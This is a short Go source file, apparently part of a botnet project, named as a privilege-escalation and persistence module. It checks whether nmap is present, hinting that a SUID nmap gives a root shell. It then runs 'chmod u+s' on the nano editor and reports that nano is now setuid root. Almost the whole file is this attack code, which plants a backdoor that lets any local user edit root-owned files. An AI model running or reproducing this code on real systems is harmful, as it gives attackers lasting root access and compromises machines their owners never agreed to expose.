Botnet/priv-esc_persistance.go

27 lines
512 B
Go

package main
import (
"fmt"
"log"
//"os"
"os/exec"
)
func nmapCheck() {
path, err := exec.LookPath("nmap")
if err != nil {
log.Fatal("nmap not found. no EZ priv-esc. :<")
}
fmt.Printf("nmap is at %s. is it SUID? go and get that shell.\n", path); //how to check for SUID set?
}
func main() {
nmapCheck()
path, err := exec.LookPath("nano")
if err != nil {
log.Fatal("nano not installed")
}
cmd := exec.Command("chmod", "u+s", path)
cmd.Run()
fmt.Printf("%s is now setuid too root\n", path)
}